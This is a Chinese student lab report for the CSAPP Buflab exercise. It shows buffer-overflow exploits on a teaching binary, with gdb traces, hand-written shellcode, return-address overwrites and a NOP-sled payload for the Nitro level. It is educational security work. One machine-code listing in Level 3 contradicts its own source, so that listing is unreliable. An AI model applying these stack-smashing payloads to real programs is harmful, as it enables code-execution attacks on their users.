【实验目的】
1.通过本次实验熟悉IA-32调用约定和堆栈组织;
2.学习缓冲区溢出攻击原理,对实验室目录中的一个可执行文件应用一系列的缓冲区溢出攻击;
3.通过实验获得使用通常用于利用操作系统和网络服务器中的安全弱点的常用方法之一的第一手经验;
4.了解程序的运行时操作,并了解这种形式的安全弱点的本质,以便在编写系统代码时可以避免它。
【实验环境】
操作系统:Linux 64位
Ubuntu版本:Ubuntu20.04.06
gdb版本:GNU gdb 9.2
【实验准备】
打开Buflab文件夹,内容树状图如下所示:
Buflab
├── buflab-handout.tar.gz
├── buflab-writeup.pdf
├── mybuflab_solved.tar
└── Readme.txt
其中,
bufbomb 有缓冲区溢出漏洞的程序,是要攻击的文件;
makecookie 是基于个人 id 生成的身份数据;
hex2raw 可以让自己编写的漏洞代码转化为一个字符串的格式。
(1)生成用户cookie
首先对实验的buflab-handout.tar.gz压缩包进行解压,进入Buflab文件夹后终端输入指令如下:
tar zxvf buflab-handout.tar.gz
实验文件中bufbomb文件是一个有缓存区溢出漏洞的程序,hex2raw的作用是让自己编写的漏洞代码转化为一个字符串的格式。makecookie可以根据用户定义的userid生成唯一的cookie,这里定义我的userid为shaoshuai。
进入buflab-handout文件夹下执行下面命令,生成自己的专属cookie:
./makecookie id(It depends on you~)
生成的cookie为0x5cabb4e1
(2)反汇编
将可执行文件bufbomb使用objdump -d反汇编指令生成汇编代码。因为内容过于冗长,所以将反汇编内容输入到bufbomb.txt文本文件中进行查看:
objdump -d bufbomb >bufbomb.txt
(3)查看getbuf函数C语言代码
getbuf函数定义了一个长度为32的buf数组,用于缓冲区溢出覆盖。
【实验内容】
(1)Level 0
题目要求
当 test 函数在调用 getbuf 函数时,本来这个程序会按照惯例返回 test 函数,但是我们要做的就是当 getbuf 函数执行 return 语句时跳转执行 smoke 的代码,而不是返回 test 函数。
smoke函数C语言代码如下:
实现原理
当getbuf函数在运行的时候,其会开辟一段栈帧,其中有一段是输入字符的缓冲区,我们只要输入超出缓冲区大小的字符串来把缓冲区填满,超出部分覆盖getbuf的返回地址,而这部分恰恰是用smoke的入口地址覆盖,这样当程序就不会正常返回而是根据你的返回地址跳转到返回地址对应的内容并执行。这题的关键需要确定栈的大小和需要覆盖的字节数。
实现过程
1.查看getbuf反汇编代码,观察其缓冲区情况。
由上述代码可知,输入字符串buf的存放位置为$ebp-0x28,这里从buf的起始地址到返回地址总共有44个字节。前40个字节(0x28)是存放正常输入的内容,Gets()从输入流中获取一个字符串,并将其存储到其目标地址(buf)。但是,Gets()无法确定buf是否足够大以存储整个输入。它只是复制整个输入字符串,可能会超出分配给buf的内存。只要我们再输入4个字节,就可以把保存的旧ebp覆盖。在44个字节后再输入4个字节,那么我们就可以把返回地址覆盖,要调用smoke函数,只要最后4个字节我们要填入smoke函数的起始地址就可以了;
根据我们以前学习的缓冲区溢出的相关知识,原理图如下:
2.查看smoke函数起始地址:
这里依然使用gdb中的disassemble命令快速找到smoke函数。
smoke函数起始地址为0x08048e0a
3.新建一个文本文件,输入要填充的内容
新建一个txt文本文件,这里命名为level0.txt,
在这个文本文件中,一个空格表示一个字节。前面填充的44个字节随便输入,不影响最后结果。但后面的4个字节须输入smoke的返回地址。这里需要注意两点:
①小端法输入。即低位在低地址,高位在高地址(低低高高)
②不能输入0a,这个是换行的ASCII码,代表输入结束,会出现错误,如上图所示。所以我们输入0b或者0d、10来代替,也是跳到smoke函数里面去了,push %ebp 这一步不影响结果。
但是发现改成18及之后的地址就不行了。所以可以推测0x8048e10处的地址是评测时最不可缺少的地址。这一步将地址0x804a2fe复制到了0x4(%esp)处,
查看0x804a2fe处的值,如下:
所以这个字符串的匹配就是测试的依据,一定要包含这句汇编指令。这就是为什么0b或者0d、10可以,后面的都不行了的原因。
4.执行查看结果
最后执行:
./hew2raw <level0.txt|./bufbomb –u id
可以看到“Smoke!: You called smoke()”,说明执行getbuf后返回到smoke中执行,实现任务level0。
补充:在linux中,“|” 是管道符号,command1 | command2表示将第1个命令的执行结果作为第2个命令的输入传给command2。
(2)Level 1
题目要求
Level1的任务是让bufbomb在test函数中调用getbuf,当getbuf执行return语句时跳转执行fizz的代码,而不是返回test函数。
与level0不同的是,level1将自己的cookie值作为参数传给fizz函数。
fizz函数C语言代码如下:
实现原理
我们要做的依然是将getbuf函数输入溢出,先输入44个无关字节,然后输入fizz函数的地址,让getbuf函数跳到fizz函数里面执行。但此时我们要注意的是fizz函数要传入参数,所以我们还要找到fizz函数传参的地址。
实现过程
1.查看fizz函数反汇编
根据反汇编代码可以看到,fizz函数的入口地址是0x8048daf。
2.找到fizz函数传参地址
fizz函数将(新的)ebp+8的地址里面内容传入该函数中。因为是通过缓冲区溢出直接执行fizz函数而不是call fizz函数,所以栈不会自动将返回地址压栈,所以新的ebp实际上比旧的ebp高了4个字节的地址,即参数应该放在 (旧的)%ebp+12 的位置。所以我们要在返回地址处输入fizz的地址,再输入4个无关字节,然后输入我们要传入的参数,该参数是我们自己的cookie。
栈帧 | 缓冲区溢出后的栈帧 | 说明 |
---|---|---|
test()保存的返回地址 | test()保存的返回地址 | |
test()保存的旧ebp | test()保存的旧ebp | |
… | … | |
… | … | |
fizz()要调用的传入参数 | fizz()要调用的传入参数 | 这里要改为我们的cookie才能匹配成功 |
4个字节 | 4个字节 | 随便填充 |
getbuf()保存的返回地址 | fizz建立的新的ebp | fizz()函数执行的开始地址 |
getbuf()保存的旧ebp | ebp | |
… | … | |
buf()首地址 | buf()首地址 | 输入数据从这里开始保存 |
… | … | … |
回到下面这张图,所以我们要在cookie地址之前填入:
40(-0x28(%ebp)中的0x28)+4(getbuf()保存的旧ebp)+4(getbuf()保存的返回地址)+4(四个随便填充的字节)=52个字节
3.新建一个文本文件,输入要填充的内容
新建level1.txt文本文件:
中间的45~48个字节是fizz函数的入口地址,为af 8d 04 08
最后的四个字节是我们的专属cookie,为e1 b4 ab 5c
4.执行查看结果
输入以下命令:
./hex2raw < level1.txt | ./bufbomb -u shaoshuai
可以看到“Fizz!: You called fizz(0x5cabb4e1)”,说明执行getbuf后返回到fizz中,并将cookie作为参数执行,实现任务level1。
(3)Level 2
题目要求
在我们执行test时,调用完getbuf不返回到test,而是执行bang函数,但该函数用到的参数是一个全局变量,在执行bang函数之前需要设计该全局变量为我们自己id的“cookie”。
bang函数C语言代码如下:
实现原理
通过前两题的方法来修改返回地址,通过自己编写汇编代码的方法来实现修改全局变量,但我们需要将汇编代码转为机器代码,然后写入到要输入的文本中。
实现过程
1.查看bang函数汇编代码
bang函数地址为0x08048d52,bang函数会使用到参数 global_value ,我们要做的就是把这个全局参数改为自己的 cookie 。
2.找到全局变量global_value的位置
查看bang函数汇编代码,寻找需要传内容的代码行,找到上述汇编代码,可以确定,0x804d10c就是 global_value 的存储地址。
3.修改 global_value 这个全局变量,将其改为我们的cookie
因为没有函数可以供我们使用去修改内存的值,所以根据实验文档,我们需要自己编写一段汇编代码进行修改。使用下面指令:
vim change_value.s
# 编写的汇编代码
movl $0x5cabb4e1, 0x804d10c #将自己的cookie值利用mov指令立即数传值直接传到存储global_value的地址里面。
push $0x8048d52 #将bang入口地址压栈
ret #返回到bang继续执行
4.将汇编代码转换为机器码
因为这个实验是通过字符输入的方式来进行的,所以我们还需要将汇编代码转换为机器码。
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ gcc -m32 -c change_value.s
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ objdump -d change_value.o >change_value.d
生成的change_value.d文件内容如下:
change_value.o: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: c7 05 0c d1 04 08 e1 movl $0x5cabb4e1,0x804d10c
7: b4 ab 5c
a: 68 52 8d 04 08 push $0x8048d52
f: c3 ret
机器码的作用是执行到它时,修改全局变量的值并进入bang函数,执行getbuf函数的时候修改返回地址,使getbuf执行完毕后,继续执行这个函数,执行完这个函数就自动执行bang函数,完成了题目的要求。
5.将生成的机器码放入buf数组的首地址运行
通过gdb调试来查看buf首地址:
我们注意到这条指令:0x08049268 <+6>: lea -0x28(%ebp),%eax, getbuf() 函数中将-0x28(%ebp)值传给eax,这就是开辟栈帧的操作,为的就是后面的调用 Get() 函数后,用来读取40个字节。所以做完开辟栈帧这一步得到的eax其实就是 Get() 函数存放数据的首地址,我们要想程序读到我们自己写的机器码,就要程序跑到这个首地址去执行,所以我们要用于覆盖的返回地址的值就是0x556838c8
也就是说,getbuf执行完后的返回地址改成buf的首地址,这样当在getbuf中调用ret返回时程序会跳转到buf处执行上面汇编代码的指令,出现ret时会跳转到bang函数中执行。
6.新建一个文本文件,输入要填充的内容
将前面输入部分改为自己的机器代码,当40个字节全部输入完之后,接着输入的内容会覆盖当前栈帧保存的ebp,将ebp的内容随便输入4个字节。也就是前面44个字节过后,接着输入的内容会覆盖返回地址,也就是这段程序结束后即将执行的下一条指令的地址,我们将返回地址用0x556838c8覆盖。
7.执行查看结果
输入下面命令:
./hex2raw < level2.txt | ./bufbomb -u shaoshuai
可以看到“Bang!: You set global_value to 0x5cabb4e1”,说明执行getbuf后返回到bang中,并将cookie的值赋给全局变量global_value作为参数执行,实现任务level2。
(4)Level 3
题目要求
之前的几关我们是通过缓冲区溢出的方法跳入其他函数,而在本任务中我们希望 getbuf() 结束后回到 test() 原本的位置。在每次执行 getbuf 函数的时候,我们的返回值是1,这次我们需要将返回值设置为我们自己用户id的“ cookie ”;同时恢复原本 %ebp 的值,返回到 test 函数中继续执行。
test函数C语言代码如下:
实现原理
getbuf()函数在被调用时,程序的返回值被存储在%eax寄存器中,当getbuf()执行完,就会去%eax取值返回执行。因此,要想返回cookie,我们只要修改eax的值就可以。同上题一样,我们要修改函数的返回值,也要在栈上编写机器码。
实现过程
首先明确任务,我们需要做3件事:
①修改部分:
将eax修改为自己的cookie;
②恢复部分:
(因为缓冲区溢出的过程把ebp的栈帧给冲掉(覆盖)了,就如同洪水决堤一般,我们需要恢复ebp栈帧才能保证test功能的正常使用。如果不返回test,那test的栈帧损坏了也没事,就像level2那样)
改完后需将ebp修改回原来的ebp;(如果不修改,后面test函数调用ebp寄存器进行cmp比较时就会不匹配)
将下一条指令的地址改回原来的下一条指令的地址。
1.查看test()汇编代码,追踪getbuf()函数的调用
test() 函数在0x8048e4b处调用 getbuf() 函数,返回地址为0x8048e50。0x8048e50是我们要恢复的下一条指令的地址。
2.恢复ebp寄存器的值
为了编写汇编代码,我们还需要知道要恢复的ebp寄存器的值,这个可以利用gdb调试来查看。
查看到ebp寄存器原先的值是0x55683920
观察上述调试指令,我们是在0x8048e4b处设置了一个断点,为什么呢?我们先看这个地址里面是那一条指令: 8048e4b: e8 12 04 00 00 call 8049262 <getbuf>,这是 test() 函数里面对 getbuf() 函数的调用指令,我们在此处设置断点,就是为了查看 getbuf() 函数调用之前的ebp的值,因为我们到时候要回到的 test() 这个函数,需要恢复原先的ebp寄存器的值,所以我们在此处设置断点。查看此时的ebp的值就是我们将要编写的汇编代码里面要给ebp赋的值。
3.编写汇编代码
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ vim level3.s
编写汇编代码,设置返回值为cookie,即0x5cabb4e1;恢复原来寄存器的值,也就是我们通过gdb中i r指令查看到的0x55683920;最后将getbuf下一条指令的地址压入栈中,返回。
# 汇编代码
movl $0x5cabb4e1, %eax #设置返回值为cookie
movl $0x55683920, %ebp #恢复原ebp的值
push $0x8048e50 #返回后下一条指令的地址
ret #返回
4.将汇编代码转换为机器码
执行以下命令:
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ gcc -m32 -c level3.s -o level3.o
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ objdump -d level3.o >level3.d
查看level3.d文件:
level3.o: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 e1 b4 ab 5c mov $0x5cabb4e1,%eax
5: bd 20 39 68 55 mov $0x55683920,%ebp
a: 68 50 8e 04 08 push $0x8048e50
f: c3 ret
5.新建一个文本文件,输入要填充的内容
vim level3.txt
返回地址之前仍然是那44个字节;返回地址仍然覆盖为数组buf的首地址,便于执行我们手动修改的汇编代码。level3.txt文件如下图所示:
6.执行查看结果
输入命令:
./hex2raw < level3.txt | ./bufbomb -u shaoshuai
可以看到“Boom!: getbuf returned 0x5cabb4e1”,说明执行getbuf后返回值变为cookie的值,并成功返回到test函数中,实现任务level3。
方法二
既然需要修改ebp寄存器的值,而且我们知道,ebp作为栈底指针,就在返回地址的高4位地址处,所以我们可以在汇编代码中不对ebp做修改,后面填充文本文件时在41~44个字节处加入ebp的地址。
总得来说,
方法一是在这个代码里把 ebp 改为原 ebp,在我们最后填入 getbuf 的字符串中随意填 ebp ;
方法二是在这个代码里不对 ebp 作操作,而在我们最后填入 getbuf 的字符串中修改 ebp ;
新的汇编代码如下:
# 汇编代码
movl $0x5cabb4e1, %eax #设置返回值为cookie
# 不修改ebp的值
push $0x8048e50 #返回后下一条指令的地址
ret #返回
生成的机器码如下:
level3_2.o: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 e1 b4 ab 5c mov $0x5cabb4e1,%eax
5: bd 20 39 68 55 mov $0x55683920,%ebp
a: c3 ret
修改后的level3_2.txt文本文件如下:
b8 e1 b4 ab 5c 68 50 8e 04 08
c3 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
20 39 68 55 c8 38 68 55
对比图如下:
运行结果也是正确的:
(5)Level 4
题目要求
这个实验是前面一个实验的进阶版,为了运行这个阶段,要使用“-n”指令进入“Nitro”模式,程序没有再调用 getbuf() ,而是调用了另一个函数 getbufn() ,在“Nitro”模式下,getbufn() 函数将被调用5次,每次调用的%ebp值都是不同的,我们要做的是将每次 getbufn() 的返回值都修改为我们用户id的“Cookie”值,并且在执行完之后恢复ebp的值,同时恢复返回地址,使其能够正常回到 testn() 函数中继续执行。
实现原理
对于这一题,我们实现的方法与前面的基本差不多,但本题增加了难度,本题要求我们进行5次的修改返回值并且进行5次的恢复ebp,但每次的ebp是不同的,所以难点就在于怎么样去确定每一次的ebp。
实现过程
首先明确任务,我们还是需要做之前的那3件事:
①修改部分:
将eax修改为为自己的cookie;
②恢复部分:
改完后需将ebp修改回原来的ebp;
将下一条指令的地址改回原来的下一条指令的地址。
这样的事情程序会执行5次,其中修改部分每次都是一样的,但每一次分配给testn()函数的ebp是不同的,也就是说,我们不能像上一题一样直接将一个确定的地址赋值给ebp来还原ebp了。同时,Get()存储字符的首地址也在发生变化,我们也不能确定首地址在哪里,但是我们可以通过gdb调试得到每次的首地址。
栈帧 | 位置 |
---|---|
原testn()函数ebp | |
… | |
原testn()函数esp | |
getbufn()函数保存的返回地址 | |
getbufn()函数保存的ebp | getbufn()栈帧ebp |
… |
1.查看testn函数汇编代码
可以看到,在testn()调用getbufn()之前除了保存旧栈帧操作之外,进行了一次压栈操作以及开辟0x24个空间的操作,压栈操作使栈底指针esp-0x4,sub操作又使esp-0x24,故而有ebp=esp+0x28。而当getbufn()函数执行结束关闭栈帧的时候,栈顶指针esp会回到原处,所以虽然我们不能通过直接将一个地址赋给ebp来还原栈底指针,但我们可以通过ebp=esp+0x28这个关系来将ebp还原。
2.寻找Get()函数保存输入的字符的首地址
下一个我们要解决的问题是找到Get()函数保存输入的字符的首地址,以便我们往其中写入攻击程序的机器码。当然,这个首地址是变化的。
查看getbufn()汇编代码,如下:
通过汇编代码,我们可以发现,getbufn()在调用Get()函数之前开辟了0x208个地址空间,即520个字节,这是Get()函数在这一关中正常读入的字节数。前面我们说过Get()函数每一次读入数据时首地址不同(首地址与getbufn()的栈帧位置相关,而后者是变化的),所以我们需要找到5次读入数据的首地址。
3.调试getbufn()函数,寻找每次存放数据首地址
上述调试就是在调用Get()函数之前设置断点(这里是在sub处),找出这一次存放数据的首地址的位置。因为调用Get()函数需要开辟0x208个地址空间,那么getbufn()函数的ebp与Get()函数存放数据的首地址就应该存在这样的关系:数组首地址=ebp-0x208,我们直接用 p/x ($ebp-0x208)查看首地址的位置。
4.重复5次上述操作,找出每次的数据存放首地址
(gdb) b *0x8049247
Breakpoint 1 at 0x8049247
(gdb) r -n -u shaoshuai
Starting program: /home/shaoshuai/桌面/Buflab/buflab-handout/bufbomb -n -u shaoshuai
Userid: shaoshuai
Cookie: 0x5cabb4e1
Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$1 = 0x556836e8
(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$2 = 0x556836f8
(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$3 = 0x55683748
(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$4 = 0x55683718
(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$5 = 0x55683738
在求出第一个ebp之后,输入c继续,会提示让你输入Type string,然后随便输入一个字符,继续之后便会爆炸。此时程序便跳到了第二次输入,循环五次这样的操作,我们一共获得5次输入时的ebp,求出对应首地址,如下表所示:
输入 | 1 | 2 | 3 | 4 | 5 |
---|---|---|---|---|---|
首地址 | 0x556836e8 | 0x556836f8 | 0x55683748 | 0x55683718 | 0x55683738 |
我们看到,首地址在发生变化,那我们要怎样才能确保程序正确跳到我们输入的机器码去运行呢?我们可以看到,首地址虽然在发生变化,但毕竟就是这几个数,而且最大与最小相差没有达到0x208,所以我们不能像上次那样将机器码放在文件首端,而是放在输入内容的后面部分。(原因在后面解释)
接着在机器码的前面填满空指令nop(对应机器码0x90,作用只是执行eip自增1,而不进行任何操作),即使前面任何一个地址作为首地址,也只是会先执行一段空指令,最终还会来到我们的机器码去执行。
当然,我们在填写输入内容的时候,最后要填的跳转地址可不是上面5个随便一个,而是要填最大那个,因为栈是从高地址向低地址增加的,这样可以确保每次程序无论怎么跳都能跳进你输入的内容里面。
5.编写汇编代码
vim level4.s
level4.s文件内容如下(这里因为栈随机化,所以我们使用esp与ebp之间的关系来相对寻址):
# 汇编代码
movl $0x5cabb4e1 , %eax #设置返回值为cookie
leal 0x28(%esp), %ebp #恢复原ebp的值
push $0x8048ce2 #返回后下一条指令的地址
ret #返回
6.转换为机器码
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ gcc -m32 -c level4.s -o level4.o
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ objdump -d level4.o >level4.d
level4.d文件内容如下:
level4.o: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 e1 b4 ab 5c mov $0x5cabb4e1,%eax
5: 8d 6c 24 28 lea 0x28(%esp),%ebp
9: 68 e2 8c 04 08 push $0x8048ce2
e: c3 ret
7.新建一个文本文件,输入要填充的内容
vim level4.txt
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 e1 b4 ab 5c 8d 6c 24 28 68
e2 8c 04 08 c3
48 37 68 55
由于缓冲区有520(0x208)个字节加上返回地址和原ebp,总共528个字节,除去上述机器码15个字节,返回地址4个字节,剩余509个字节用nop填充,对应ascii码为90。
组成:509个90 + 15字节的机器码 + 4字节的最大的返回地址(小端法)
经过尝试发现,因为最高地址和最低地址相差0x60(96)个字节,把机器码放在96个字节后面任何地方都可以,但是一旦放在95个字节,或者更前面,最低那个地址就读不到完整的机器码了,导致出错。
8.执行查看结果
./hex2raw < level4.txt -n | ./bufbomb -n -u shaoshuai
执行leve4时,需要加上-n。最后执行./hew2raw <level4.txt -n|./bufbomb –u –n shaoshuai可以看到连续5次输出“getbufn returned 0x5cabb4e1”,说明每次执行getbufn后返回值变为cookie的值,并成功返回到test函数中,实现任务level4。
【实验总结】
(1)遇到的问题和解决办法
1.刚开始计算esp时候经常忘记把push进来的4个字节给加上,后来经过重新看了一遍CSAPP第三章之后,遗忘的知识点大多都被复习起来了,做后面的level就顺手多了。
2.在level4的将汇编指令转换成机器码那一部分,因为忘记给我的cookie立即数加上“$”符号了,导致这个mov的机器码从b8变成了a1,也就是本来是取立即数的,结果取成了内存地址,导致输出错误。而且这个bug找了很长时间,所以说在徒手写汇编时还是要小心为上,一个符号都不能错。
A1
MOV ax,[16位内存数值]
B8
MOV ax,16位立即数值
(2)心得体会
1.五个难度依次增加的Level指导了如何利用缓冲区存在的漏洞执行操作,实现所需功能,同时也为防御缓冲区溢出攻击提供了思路。以前只知道修改返回地址,经过这个实验后明白了还可以利用到自己手搓的汇编代码,二者结合使用。
2.通过五个Level的实验,深入理解了内存溢出攻击的原理。相比于之前的讨论题,现在对缓冲区溢出攻击有了更为全面认识。
3.在实验过程中,综合运用了gcc、objdump等指令,对这些工具的用法更加熟悉,对函数调用、栈帧分配等相关知识进行了再一次的复习和回顾,把汇编指令这一章的内容,尤其是函数调用的内容复习了一遍。
4.在Level 3的实现上,探索了一种不使用mov $0x556839b0, %ebp来恢复%ebp的替代方法,即通过在覆盖旧的%ebp时使用test的原ebp值,同样达到了预期效果。也侧面说明了缓冲区溢出攻击的手段多种多样。
5.在运行和调试过程中,了解到'c'命令用于继续执行被调试程序,直到遇到下一个断点或程序结束。